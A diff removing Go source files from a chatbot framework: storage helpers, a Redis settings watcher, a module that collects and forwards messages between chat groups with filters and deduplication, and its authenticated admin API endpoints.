storage.Watch(app, "redis_addr", func(old, new, _ string) *storage.Final {
|
||||
message := "Redis连接成功,重启生效!"
|
||||
err := redis.Try(new, app.GetString("redis_password"))
|
||||
if err != nil {
|
||||
message = "Redis连接失败:" + err.Error()
|
||||
} else {
|
||||
app.Set2("storage", "redis")
|
||||
}
|
||||
return &storage.Final{
|
||||
Message: message,
|
||||
}
|
||||
})
|
||||
storage.Watch(app, "redis_password", func(old, new, _ string) *storage.Final {
|
||||
message := "Redis连接成功,重启生效!"
|
||||
err := redis.Try(app.GetString("redis_addr"), new)
|
||||
if err != nil {
|
||||
message = "Redis连接失败:" + err.Error()
|
||||
} else {
|
||||
app.Set2("storage", "redis")
|
||||
}
|
||||
return &storage.Final{
|
||||
Message: message,
|
||||
}
|
||||
})
|
||||
}
|
||||
for _, name := range bkt.Buckets() {
|
||||
b := bkt.Copy(name)
|
||||
keys, err := b.Keys()
|
||||
if len(keys) == 0 && err == nil {
|
||||
b.Delete()
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
if name == "" {
|
||||
name = "sillyGirl"
|
||||
}
|
||||
if name == "silly" || name == "app" {
|
||||
name = "sillyGirl"
|
||||
}
|
||||
return bkt.Copy(name)
|
||||
}
|
||||
|
||||
func TransformBucketKeyValue(v string) interface{} {
|
||||
var result interface{}
|
||||
if strings.HasPrefix(v, "f:") {
|
||||
result, _ = strconv.ParseFloat(strings.Replace(v, "f:", "", 1), 64)
|
||||
return result
|
||||
}
|
||||
if strings.HasPrefix(v, "d:") {
|
||||
result = utils.Int(strings.Replace(v, "d:", "", 1))
|
||||
return result
|
||||
}
|
||||
if strings.HasPrefix(v, "b:") {
|
||||
result = strings.Replace(v, "b:", "", 1) == "true"
|
||||
return result
|
||||
}
|
||||
if strings.HasPrefix(v, "o:") {
|
||||
json.Unmarshal([]byte(strings.Replace(v, "o:", "", 1)), &result)
|
||||
return result
|
||||
}
|
||||
if v == "" {
|
||||
return nil
|
||||
}
|
||||
return v
|
||||
}
|
||||
|
||||
func GetBucketKeyValue(bucket storage.Bucket, ps ...interface{}) interface{} {
|
||||
var key interface{}
|
||||
var value interface{}
|
||||
if len(ps) == 0 {
|
||||
return nil
|
||||
}
|
||||
if len(ps) > 0 {
|
||||
key = ps[0]
|
||||
}
|
||||
if len(ps) > 1 {
|
||||
value = ps[1]
|
||||
}
|
||||
v := bucket.GetString(key)
|
||||
var result = TransformBucketKeyValue(v)
|
||||
if result == nil {
|
||||
return value
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func SetBucketKeyValue(bucket storage.Bucket, key interface{}, value interface{}) (string, bool, error) {
|
||||
new := ""
|
||||
switch value := value.(type) {
|
||||
case int, int64, int32, uint:
|
||||
new = fmt.Sprintf("d:%d", value)
|
||||
case float32, float64:
|
||||
new = fmt.Sprintf("f:%f", value)
|
||||
case string, []byte:
|
||||
new = fmt.Sprintf("%s", value)
|
||||
case bool:
|
||||
new = fmt.Sprintf("b:%t", value)
|
||||
case nil:
|
||||
new = ""
|
||||
default:
|
||||
new = fmt.Sprintf("o:%s", utils.JsonMarshal(value))
|
||||
}
|
||||
return bucket.Set(key, new)
|
||||
}
|
||||
|
||||
func SetBucketKeyValue2(bucket storage.Bucket, key interface{}, value interface{}) (string, bool, error) {
|
||||
new := ""
|
||||
switch value := value.(type) {
|
||||
case int, int64, int32, uint:
|
||||
new = fmt.Sprintf("d:%d", value)
|
||||
case float32, float64:
|
||||
new = fmt.Sprintf("f:%f", value)
|
||||
case string, []byte:
|
||||
new = fmt.Sprintf("%s", value)
|
||||
case bool:
|
||||
new = fmt.Sprintf("b:%t", value)
|
||||
case nil:
|
||||
new = ""
|
||||
default:
|
||||
new = fmt.Sprintf("o:%s", utils.JsonMarshal(value))
|
||||
}
|
||||
return bucket.Set2(key, new)
|
||||
}
|
||||
-718
@@ -1,718 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/cdle/sillyplus/core/common"
|
||||
"github.com/cdle/sillyplus/core/storage"
|
||||
"github.com/cdle/sillyplus/utils"
|
||||
"github.com/dop251/goja"
|
||||
"github.com/gin-gonic/gin"
|
||||
"github.com/goccy/go-json"
|
||||
)
|
||||
|
||||
var cgs []CarryGroup
|
||||
|
||||
type CarryGroupsResult struct {
|
||||
Success bool `json:"success"`
|
||||
Data []CarryGroup `json:"data"`
|
||||
Page int `json:"page"`
|
||||
Total int `json:"total"`
|
||||
Time time.Time `json:"time"`
|
||||
}
|
||||
|
||||
var CarryGroups = MakeBucket("CarryGroups")
|
||||
|
||||
var carryCounter int64
|
||||
|
||||
type QMessage struct {
|
||||
UserID string `json:"user_id"`
|
||||
Content string `json:"content"`
|
||||
MessageID string `json:"message_id"`
|
||||
From common.Sender `json:"-"`
|
||||
To *Factory `json:"-"`
|
||||
}
|
||||
|
||||
// LOGIC
|
||||
func initCarry() {
|
||||
AddCommand([]*common.Function{
|
||||
{
|
||||
Rules: []string{`raw [\s\S]*`},
|
||||
Hidden: true,
|
||||
Priority: 9999,
|
||||
Handle: func(s common.Sender, _ func(vm *goja.Runtime)) interface{} {
|
||||
var bot_id = s.GetBotID()
|
||||
var platform = s.GetImType()
|
||||
var chat_id = s.GetChatID()
|
||||
var user_id = s.GetUserID()
|
||||
var content = s.GetContent()
|
||||
var message_id = s.GetMessageID()
|
||||
var from *CarryGroup //判断当前消息来自采集源
|
||||
var cgs = cgs
|
||||
var uuid = fmt.Sprintf("%d. ", atomic.AddInt64(&carryCounter, 1))
|
||||
var ss = &Strings{}
|
||||
var event = s.Event()
|
||||
if event != nil {
|
||||
if event["type"] == "delete_message" {
|
||||
queues.Range(func(key, value any) bool {
|
||||
q := value.(*Queue)
|
||||
for _, qm := range q.GetValues() {
|
||||
if qm.From != nil && qm.From.GetMessageID() == event["message_id"] {
|
||||
qm.To.Sender2(nil).RecallMessage(qm.MessageID)
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
}
|
||||
s.Continue()
|
||||
return nil
|
||||
}
|
||||
for i := range cgs {
|
||||
if chat_id == cgs[i].ID && cgs[i].In && cgs[i].Enable {
|
||||
from = &cgs[i]
|
||||
break
|
||||
}
|
||||
}
|
||||
if nil == from { //非采集群
|
||||
s.Continue()
|
||||
return nil
|
||||
}
|
||||
//采集消息去重逻辑
|
||||
q := NewQueue(chat_id, 50)
|
||||
if from.Deduplication {
|
||||
for _, qm := range q.GetValues() {
|
||||
v := ss.HansSimilarity(qm.Content, content)
|
||||
if v > 0.9 {
|
||||
console.Debug("%s 忽略重复采集信息", uuid)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
_ = q.Enqueue(&QMessage{
|
||||
UserID: user_id,
|
||||
Content: content,
|
||||
MessageID: message_id,
|
||||
})
|
||||
bots_id := GetAdapterBotsID(platform)
|
||||
if len(from.BotsID) == 0 && len(bots_id) != 0 {
|
||||
from.BotsID = bots_id
|
||||
}
|
||||
//判断是否来自指定采集机器人
|
||||
var from_right_bot bool
|
||||
if len(from.BotsID) != 0 && from.BotsID[0] == bot_id {
|
||||
from_right_bot = true
|
||||
}
|
||||
//检测指定机器人是否离线,离线则使用其他第一个机器人,否则忽略消息
|
||||
if !from_right_bot {
|
||||
if len(from.BotsID) != 0 {
|
||||
if Contains(bots_id, bot_id) {
|
||||
console.Debug("%s 忽略机器人(%s)消息非采集指定机器人(%s)消息", uuid, bot_id, from.BotsID[0])
|
||||
return nil
|
||||
}
|
||||
}
|
||||
if len(bots_id) != 0 && bots_id[0] != bot_id { //不是第一个机器人
|
||||
console.Debug("%s 忽略机器人(%s)消息非其他第一个机器人(%s)的消息", uuid, bot_id, bots_id[0])
|
||||
return nil
|
||||
}
|
||||
}
|
||||
console.Debug("%s 当前采集群 %s", uuid, chat_id)
|
||||
//预测采集白名单、黑名单
|
||||
if len(from.Allowed) != 0 { //白名单
|
||||
if !Contains(from.Allowed, user_id) {
|
||||
console.Debug("%s 用户(%s)不在采集群白名单 %v", uuid, chat_id)
|
||||
return nil
|
||||
}
|
||||
} else {
|
||||
if Contains(from.Prohibited, user_id) {
|
||||
console.Debug("%s 用户(%s)在采集群黑名单 %v", uuid, chat_id)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
//预测采集包含、排除词
|
||||
if len(from.Include) != 0 { //包含
|
||||
if word := Include(content, from.Include); word == "" {
|
||||
console.Debug("%s 消息中无采集包含词", uuid)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
if len(from.Exclude) != 0 { //排除
|
||||
if word := Include(content, from.Exclude); word != "" {
|
||||
console.Debug("%s 消息中有采集排除词 %s", uuid, word)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
var outs []CarryGroup //预测转发群
|
||||
for i := range cgs {
|
||||
if cgs[i].Enable && cgs[i].Out && cgs[i].ID != chat_id {
|
||||
for j := range cgs[i].From {
|
||||
if cgs[i].From[j] == chat_id {
|
||||
if len(cgs[i].Allowed) != 0 { //白名单
|
||||
if !Contains(cgs[i].Allowed, user_id) {
|
||||
console.Debug("%s 用户(%s)不在转发群(%s)白名单 %v", uuid, user_id, cgs[i].ID)
|
||||
continue
|
||||
}
|
||||
} else {
|
||||
if Contains(cgs[i].Prohibited, user_id) {
|
||||
console.Debug("%s 用户(%s)在转发群(%s)黑名单 %v", uuid, user_id, cgs[i].ID)
|
||||
continue
|
||||
}
|
||||
}
|
||||
if len(cgs[i].Include) != 0 { //包含
|
||||
if word := Include(content, cgs[i].Include); word == "" {
|
||||
console.Debug("%s 消息中无转发(s)包含词", uuid, cgs[i].ID)
|
||||
continue
|
||||
}
|
||||
}
|
||||
if len(cgs[i].Exclude) != 0 { //排除
|
||||
if word := Include(content, cgs[i].Exclude); word != "" {
|
||||
console.Debug("%s 消息中有转发(s)排除词 %s", uuid, cgs[i].ID, word)
|
||||
continue
|
||||
}
|
||||
}
|
||||
outs = append(outs, cgs[i])
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
num := len(outs)
|
||||
console.Debug("%s 预测转发群数目 %v", uuid, num)
|
||||
if num == 0 {
|
||||
return nil
|
||||
}
|
||||
var scripts = []string{}
|
||||
//执行采集脚本
|
||||
fs := Functions
|
||||
for j := range from.Scripts {
|
||||
for i := range fs {
|
||||
if fs[i].UUID == from.Scripts[j] && !Contains(scripts, fs[i].UUID) {
|
||||
fs[i].Handle(s, nil)
|
||||
content = s.GetContent()
|
||||
if content == "" {
|
||||
return nil
|
||||
}
|
||||
scripts = append(scripts, fs[i].UUID)
|
||||
}
|
||||
}
|
||||
}
|
||||
//执行转发脚本
|
||||
for i := range outs {
|
||||
var scripts = scripts
|
||||
var content = content
|
||||
for j := range outs[i].Scripts {
|
||||
for k := range fs {
|
||||
if fs[k].UUID == outs[i].Scripts[j] && !Contains(scripts, fs[k].UUID) { //
|
||||
fs[k].Handle(s, nil)
|
||||
content = s.GetContent()
|
||||
// fmt.Println(content)
|
||||
if content == "" {
|
||||
goto HELL
|
||||
}
|
||||
scripts = append(scripts, fs[k].UUID)
|
||||
}
|
||||
}
|
||||
}
|
||||
HELL:
|
||||
if content != "" { //选择机器人
|
||||
platform := outs[i].Platform
|
||||
chat_id := outs[i].ID
|
||||
adapter, err := GetAdapter(platform, outs[i].BotsID...)
|
||||
if adapter == nil {
|
||||
console.Warn("%s (%s)转发群(%s)相关机器人%v都不在线", uuid, platform, chat_id, outs[i].BotsID)
|
||||
continue
|
||||
}
|
||||
if err != nil {
|
||||
console.Debug("%s 指定(%s)机器人都不在线,转发群(%s)已选择其他机器人(%s)推送", uuid, platform, chat_id, adapter.botid)
|
||||
}
|
||||
if adapter != nil {
|
||||
//采集消息去重逻辑
|
||||
q := NewQueue(chat_id, 50)
|
||||
if outs[i].Deduplication {
|
||||
for _, qm := range q.GetValues() {
|
||||
v := ss.HansSimilarity(qm.Content, content)
|
||||
if v > 0.9 {
|
||||
console.Debug("%s 忽略重复转发信息", uuid)
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
qm := &QMessage{
|
||||
UserID: user_id,
|
||||
Content: content,
|
||||
From: s,
|
||||
To: adapter,
|
||||
}
|
||||
_ = q.Enqueue(qm)
|
||||
v := adapter.Push(map[string]string{
|
||||
CONETNT: content,
|
||||
CHAT_ID: chat_id,
|
||||
})
|
||||
if v["error"] == "" {
|
||||
qm.MessageID = v["message_id"]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
setCgs()
|
||||
storage.Watch(CarryGroups, nil, func(old, new, key string) *storage.Final {
|
||||
console.Log("已更新搬运数据")
|
||||
ocg := CarryGroup{}
|
||||
ncg := CarryGroup{}
|
||||
json.Unmarshal([]byte(old), &ocg)
|
||||
json.Unmarshal([]byte(new), &ncg)
|
||||
tmp := cgs
|
||||
if old != "" {
|
||||
if new == "" { // 删除
|
||||
if ocg.ID != "" {
|
||||
for i, cg := range tmp {
|
||||
if cg.ID == ocg.ID {
|
||||
tmp = append(tmp[:i], tmp[i+1:]...)
|
||||
name := cg.ChatName
|
||||
if name == "" {
|
||||
name = cg.ID
|
||||
}
|
||||
RemListenOnGroup(cg.ID, fmt.Sprintf("已为采集群(%s)关闭监听模式", name))
|
||||
break
|
||||
}
|
||||
}
|
||||
} else {
|
||||
return nil
|
||||
}
|
||||
} else { // 修改
|
||||
if ocg.ID != "" {
|
||||
for i, cg := range tmp {
|
||||
if cg.ID == ocg.ID {
|
||||
tmp[i] = ncg
|
||||
name := ncg.ChatName
|
||||
if name == "" {
|
||||
name = ncg.ID
|
||||
}
|
||||
if ncg.In {
|
||||
if ncg.Enable {
|
||||
AddListenOnGroup(ncg.ID, fmt.Sprintf("已为采集群(%s)开启监听模式", name), ncg.Platform)
|
||||
AddNoReplyGroups(ncg.ID, fmt.Sprintf("已为采集群(%s)开启禁言模式", name), ncg.Platform)
|
||||
} else {
|
||||
RemListenOnGroup(ncg.ID, fmt.Sprintf("已为采集群(%s)关闭监听模式", name))
|
||||
}
|
||||
} else {
|
||||
RemListenOnGroup(ncg.ID, fmt.Sprintf("已为采集群(%s)关闭监听模式", name))
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
} else {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
} else { //创建
|
||||
if ncg.ID != "" {
|
||||
tmp = append(tmp, ncg)
|
||||
if ncg.In && ncg.Enable {
|
||||
name := ncg.ChatName
|
||||
if name == "" {
|
||||
name = ncg.ID
|
||||
}
|
||||
AddListenOnGroup(ncg.ID, fmt.Sprintf("已为采集群(%s)开启监听模式", name), ncg.Platform)
|
||||
AddNoReplyGroups(ncg.ID, fmt.Sprintf("已为采集群(%s)开启禁言模式", name), ncg.Platform)
|
||||
}
|
||||
} else {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
sort.Sort(byCreatedAt(tmp))
|
||||
for i := range tmp {
|
||||
tmp[i].Index = i + 1
|
||||
}
|
||||
cgs = tmp
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
func setCgs() {
|
||||
CarryGroups.Foreach(func(b1, b2 []byte) error {
|
||||
cg := CarryGroup{}
|
||||
err := json.Unmarshal(b2, &cg)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
if cg.In && cg.Enable {
|
||||
name := cg.ChatName
|
||||
if name == "" {
|
||||
name = cg.ID
|
||||
}
|
||||
AddListenOnGroup(cg.ID, fmt.Sprintf("已为采集群(%s)开启监听模式", name), cg.Platform)
|
||||
AddNoReplyGroups(cg.ID, fmt.Sprintf("已为采集群(%s)开启禁言模式", name), cg.Platform)
|
||||
}
|
||||
cgs = append(cgs, cg)
|
||||
return nil
|
||||
})
|
||||
sort.Sort(byCreatedAt(cgs))
|
||||
for i := range cgs {
|
||||
cgs[i].Index = i + 1
|
||||
}
|
||||
}
|
||||
|
||||
type CarryGroup struct {
|
||||
Index int `json:"id"` //编号 顺序编号
|
||||
In bool `json:"in"` //搬进来 勾选按钮
|
||||
Out bool `json:"out"` //运出去 勾选按钮
|
||||
From []string `json:"from"` //采集源
|
||||
Allowed []string `json:"allowed"` //白名单模式
|
||||
Prohibited []string `json:"prohibited"` //黑名单模式 Select选择器多选
|
||||
ID string `json:"chat_id"` //群组ID 文字表单
|
||||
ChatName string `json:"chat_name"` //群昵称 文字表单
|
||||
Remark string `json:"remark"` //备注
|
||||
Platform string `json:"platform"` //平台 Select选择器单选
|
||||
Enable bool `json:"enable"` //启用状态 开关
|
||||
Include []string `json:"include"` //包含关键词 多个关键词用逗号隔开 用户复制粘贴过去后自动转换成多彩标签
|
||||
Exclude []string `json:"exclude"` //排除关键词 包含关键词
|
||||
CreatedAt int `json:"created_at"` //创建时间戳(秒)转换成日期
|
||||
BotsID []string `json:"bots_id"` //工作机器人 多选
|
||||
Scripts []string `json:"scripts"` //处理脚本
|
||||
Deduplication bool `json:"deduplication"` //文本去重
|
||||
Deduplication2 bool `json:"deduplication2"` //图片去重
|
||||
}
|
||||
|
||||
// CARRY API
|
||||
func init() {
|
||||
GinApi(GET, "/api/carry/groups", RequireAuth, func(ctx *gin.Context) {
|
||||
current := utils.Int(ctx.Query("current"))
|
||||
pageSize := utils.Int(ctx.Query("pageSize"))
|
||||
rr := CarryGroupsResult{
|
||||
Success: true,
|
||||
}
|
||||
cgs := cgs
|
||||
rr.Total = len(cgs)
|
||||
if current == 0 {
|
||||
current = 1
|
||||
}
|
||||
if pageSize == 0 {
|
||||
pageSize = 20
|
||||
}
|
||||
begin := (current - 1) * pageSize
|
||||
end := (current) * pageSize
|
||||
if end > rr.Total {
|
||||
end = rr.Total
|
||||
}
|
||||
if begin > end {
|
||||
begin = end
|
||||
}
|
||||
rr.Data = cgs[begin:end]
|
||||
for i := range rr.Data {
|
||||
gn := &Nickname{
|
||||
ID: rr.Data[i].ID,
|
||||
}
|
||||
nickname.First(gn)
|
||||
if gn.Value != "" {
|
||||
rr.Data[i].ChatName = gn.Value
|
||||
}
|
||||
}
|
||||
ctx.JSON(200, rr)
|
||||
})
|
||||
GinApi(GET, "/api/carry/group_names", RequireAuth, func(ctx *gin.Context) {
|
||||
cgs := cgs
|
||||
var names = map[string]string{}
|
||||
for _, cg := range cgs {
|
||||
names[cg.ID] = cg.ChatName
|
||||
}
|
||||
ctx.JSON(200, map[string]interface{}{
|
||||
"success": true,
|
||||
"data": names,
|
||||
})
|
||||
})
|
||||
GinApi(GET, "/api/proxy/scripts", RequireAuth, func(ctx *gin.Context) {
|
||||
var scripts = map[string]string{}
|
||||
functions := Functions
|
||||
for _, function := range functions {
|
||||
if function.UUID != "" {
|
||||
scripts[function.UUID] = function.Title + function.Suffix
|
||||
}
|
||||
}
|
||||
ctx.JSON(200, map[string]interface{}{
|
||||
"success": true,
|
||||
"data": scripts,
|
||||
})
|
||||
})
|
||||
var isNumeric = func(keyword string) bool {
|
||||
for _, c := range keyword {
|
||||
if c != '.' && (c < '0' || c > '9') {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
GinApi(GET, "/api/proxy/rules", RequireAuth, func(ctx *gin.Context) {
|
||||
keyword := ctx.Query("keyword")
|
||||
var scripts = map[string]string{}
|
||||
scripts[keyword] = keyword
|
||||
if strings.HasSuffix(keyword, ".") && !isNumeric(keyword) {
|
||||
for _, suffix := range []string{"com", "cn"} {
|
||||
scripts[keyword+suffix] = keyword + suffix
|
||||
}
|
||||
}
|
||||
ctx.JSON(200, map[string]interface{}{
|
||||
"success": true,
|
||||
"data": scripts,
|
||||
})
|
||||
})
|
||||
GinApi(GET, "/api/carry/group_selects", RequireAuth, func(ctx *gin.Context) {
|
||||
chat_id := ctx.Query("chat_id")
|
||||
platform := ctx.Query("platform")
|
||||
cgs := cgs
|
||||
var names = map[string]string{}
|
||||
var bots_id = []string{}
|
||||
var users = []string{}
|
||||
for _, cg := range cgs {
|
||||
if cg.In {
|
||||
if cg.ChatName != "" {
|
||||
names[cg.ID] = cg.ChatName
|
||||
} else {
|
||||
if cg.Remark != "" {
|
||||
names[cg.ID] = cg.Remark
|
||||
} else {
|
||||
names[cg.ID] = cg.ID
|
||||
}
|
||||
}
|
||||
}
|
||||
if cg.ID == chat_id {
|
||||
users = append(users, cg.Allowed...)
|
||||
users = append(users, cg.Prohibited...)
|
||||
if platform == "" {
|
||||
platform = cg.Platform
|
||||
}
|
||||
}
|
||||
}
|
||||
bots_id = GetAdapterBotsID(platform)
|
||||
var scripts = map[string]string{}
|
||||
functions := Functions
|
||||
for _, function := range functions {
|
||||
if function.UUID != "" && ((len(function.Rules) == 0 && !function.OnStart && !function.Module && len(function.Https) == 0 && function.Reply == nil) || function.Carry) {
|
||||
scripts[function.UUID] = function.Title + function.Suffix
|
||||
}
|
||||
}
|
||||
var user_names = []NicklabeL{}
|
||||
nickname.Foreach(func(b1, b2 []byte) error {
|
||||
v := &Nickname{}
|
||||
code := string(b1)
|
||||
err := json.Unmarshal(b2, v)
|
||||
if err == nil {
|
||||
if Contains(users, code) {
|
||||
user_names = append(user_names, NicklabeL{
|
||||
Label: fmt.Sprintf("%s(%s)", v.Value, code),
|
||||
Value: code,
|
||||
})
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
ctx.JSON(200, map[string]interface{}{
|
||||
"success": true,
|
||||
"data": map[string]interface{}{
|
||||
"user_names": user_names,
|
||||
"group_names": names,
|
||||
"bots_id": bots_id,
|
||||
"platforms": getPltsArray(),
|
||||
"scripts": scripts,
|
||||
},
|
||||
})
|
||||
})
|
||||
GinApi(POST, "/api/carry/group", RequireAuth, func(ctx *gin.Context) {
|
||||
// 将请求的 JSON 数据解析为一个 map[string]interface{} 类型的变量
|
||||
var updateData map[string]interface{}
|
||||
err := ctx.BindJSON(&updateData)
|
||||
if err != nil {
|
||||
ctx.JSON(200, map[string]interface{}{
|
||||
"success": false,
|
||||
"errorMessage": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
v, ok := updateData["chat_id"]
|
||||
if !ok {
|
||||
ctx.JSON(200, map[string]interface{}{
|
||||
"success": false,
|
||||
"errorMessage": "群号不能为空",
|
||||
})
|
||||
return
|
||||
}
|
||||
chat_id := v.(string)
|
||||
var cg = CarryGroup{
|
||||
ID: chat_id,
|
||||
}
|
||||
CarryGroups.First(&cg)
|
||||
// if err != nil {
|
||||
// ctx.JSON(200, map[string]interface{}{
|
||||
// "success": false,
|
||||
// "errorMessage": err.Error(),
|
||||
// })
|
||||
// return
|
||||
// }
|
||||
for key, value := range updateData {
|
||||
switch key {
|
||||
case "in":
|
||||
if in, ok := value.(bool); ok {
|
||||
cg.In = in
|
||||
}
|
||||
case "out":
|
||||
if out, ok := value.(bool); ok {
|
||||
cg.Out = out
|
||||
}
|
||||
case "deduplication":
|
||||
if deduplication, ok := value.(bool); ok {
|
||||
cg.Deduplication = deduplication
|
||||
}
|
||||
case "deduplication2":
|
||||
if deduplication, ok := value.(bool); ok {
|
||||
cg.Deduplication2 = deduplication
|
||||
}
|
||||
case "from":
|
||||
if from, ok := value.([]interface{}); ok {
|
||||
cg.From = toStringSlice(from)
|
||||
}
|
||||
case "allowed":
|
||||
if allowed, ok := value.([]interface{}); ok {
|
||||
cg.Allowed = toStringSlice(allowed)
|
||||
}
|
||||
case "prohibited":
|
||||
if prohibited, ok := value.([]interface{}); ok {
|
||||
cg.Prohibited = toStringSlice(prohibited)
|
||||
}
|
||||
case "chat_name":
|
||||
if chatName, ok := value.(string); ok {
|
||||
cg.ChatName = chatName
|
||||
}
|
||||
case "remark":
|
||||
if remark, ok := value.(string); ok {
|
||||
cg.Remark = remark
|
||||
}
|
||||
case "platform":
|
||||
if platform, ok := value.(string); ok {
|
||||
cg.Platform = platform
|
||||
}
|
||||
case "enable":
|
||||
if disable, ok := value.(bool); ok {
|
||||
cg.Enable = disable
|
||||
}
|
||||
case "include":
|
||||
if include, ok := value.([]interface{}); ok {
|
||||
cg.Include = toStringSlice(include)
|
||||
}
|
||||
case "exclude":
|
||||
if exclude, ok := value.([]interface{}); ok {
|
||||
cg.Exclude = toStringSlice(exclude)
|
||||
}
|
||||
case "bots_id":
|
||||
if botsID, ok := value.([]interface{}); ok {
|
||||
cg.BotsID = toStringSlice(botsID)
|
||||
}
|
||||
case "scripts":
|
||||
if scripts, ok := value.([]interface{}); ok {
|
||||
cg.Scripts = toStringSlice(scripts)
|
||||
}
|
||||
}
|
||||
}
|
||||
if cg.CreatedAt == 0 {
|
||||
cg.CreatedAt = int(time.Now().Unix())
|
||||
}
|
||||
CarryGroups.Set(chat_id, utils.JsonMarshal(cg))
|
||||
if err != nil {
|
||||
ctx.JSON(200, map[string]interface{}{
|
||||
"success": false,
|
||||
"errorMessage": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
ctx.JSON(200, map[string]interface{}{
|
||||
"success": true,
|
||||
})
|
||||
})
|
||||
GinApi(DELETE, "/api/carry/group", RequireAuth, func(ctx *gin.Context) {
|
||||
cg := &CarryGroup{}
|
||||
err := ctx.BindJSON(cg)
|
||||
if err != nil {
|
||||
ctx.JSON(200, map[string]interface{}{
|
||||
"success": false,
|
||||
"errorMessage": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
if cg.ID == "" {
|
||||
ctx.JSON(200, map[string]interface{}{
|
||||
"success": false,
|
||||
"errorMessage": "群号不为空",
|
||||
})
|
||||
return
|
||||
}
|
||||
CarryGroups.Set(cg.ID, "")
|
||||
ctx.JSON(200, map[string]interface{}{
|
||||
"success": true,
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
type byCreatedAt []CarryGroup
|
||||
|
||||
func (s byCreatedAt) Len() int {
|
||||
return len(s)
|
||||
}
|
||||
|
||||
func (s byCreatedAt) Less(i, j int) bool {
|
||||
return s[i].CreatedAt > s[j].CreatedAt
|
||||
}
|
||||
|
||||
func (s byCreatedAt) Swap(i, j int) {
|
||||
s[i], s[j] = s[j], s[i]
|
||||
}
|
||||
|
||||
// 将 []interface{} 转为 []string 的工具函数
|
||||
func toStringSlice(intfSlice []interface{}) []string {
|
||||
stringSlice := make([]string, len(intfSlice))
|
||||
for i, intf := range intfSlice {
|
||||
if str, ok := intf.(string); ok {
|
||||
stringSlice[i] = str
|
||||
}
|
||||
}
|
||||
return stringSlice
|
||||
}
|
||||
|
||||
func Contains(strs []string, str ...string) bool {
|
||||
for _, s := range str {
|
||||
for _, str := range strs {
|
||||
if s == str {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func Include(content string, includes []string) string {
|
||||
for _, include := range includes {
|
||||
if len(include) > 2 && include[0] == '/' && include[len(include)-1] == '/' {
|
||||
pattern := include[1 : len(include)-1]
|
||||
_, err := regexp.Compile(pattern)
|
||||
if err != nil {
|
||||
console.Error("包含词/排除词正则表达式 %s 错误 %s", include, err.Error())
|
||||
continue
|
||||
}
|
||||
match, err := regexp.MatchString(pattern, content)
|
||||
if err == nil && match {
|
||||
return include
|
||||
}
|
||||
} else {
|
||||
if strings.Contains(content, include) {
|
||||
return include
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -1,72 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/cdle/sillyplus/core/common"
|
||||
"github.com/cdle/sillyplus/utils"
|
||||
"github.com/dop251/goja"
|
||||
)
|
||||
|
||||
var IsCdle = false
|
||||
|
||||
func init() {
|
||||
if sillyGirl.GetString("is_cdle") == "silly8023" {
|
||||
IsCdle = true
|
||||
}
|
||||
if !IsCdle {
|
||||
return
|
||||
}
|
||||
AddCommand([]*common.Function{ //认证订阅
|
||||
{
|
||||
Admin: true,
|
||||
Rules: []string{"identify sublink [地址] [组织]"},
|
||||
// ImType: &common.Filter{
|
||||
// BlackMode: true,
|
||||
// Items: []string{"pgm"},
|
||||
// },
|
||||
Handle: func(s common.Sender, _ func(vm *goja.Runtime)) interface{} {
|
||||
address := s.Get(0)
|
||||
organization := s.Get(1)
|
||||
// machine_id := s.Get(1)
|
||||
if err := CheckPluginAddress(address); err != nil {
|
||||
return err
|
||||
}
|
||||
str, err := EncryptByAes(utils.JsonMarshal(common.PluginPublisher{
|
||||
Address: address,
|
||||
Organization: organization,
|
||||
Identified: true,
|
||||
// MachineID: machine_id,
|
||||
}))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
sublink := fmt.Sprintf("link://%s", str)
|
||||
return sublink
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
// 原创记录
|
||||
// var pcr = MakeBucket("pcr")
|
||||
// GinApi(POST, "/api/plugins/record", func(c *gin.Context) {
|
||||
// data, _ := ioutil.ReadAll(c.Request.Body)
|
||||
// str, _ := EncryptByAes(data)
|
||||
// v := PluginCreateRecord{}
|
||||
// if json.Unmarshal([]byte(str), &v) == nil {
|
||||
// o := v
|
||||
// pcr.First(o)
|
||||
// if o.MachineID != "" {
|
||||
// pcr.Create(v)
|
||||
// }
|
||||
// }
|
||||
// })
|
||||
}
|
||||
|
||||
// type PluginCreateRecord struct {
|
||||
// ID string `json:"id"`
|
||||
// Unix int64 `json:"unix"`
|
||||
// MachineID string `json:"machine_id"`
|
||||
// IP string `json:"ip"`
|
||||
// Title string `json:"title"`
|
||||
// }
|
||||
@@ -1,68 +0,0 @@
|
||||
package common
|
||||
|
||||
import "github.com/dop251/goja"
|
||||
|
||||
type Function struct {
|
||||
Rules []string `json:"-"`
|
||||
Params [][]string `json:"-"`
|
||||
ImType *Filter `json:"-"`
|
||||
UserId *Filter `json:"-"`
|
||||
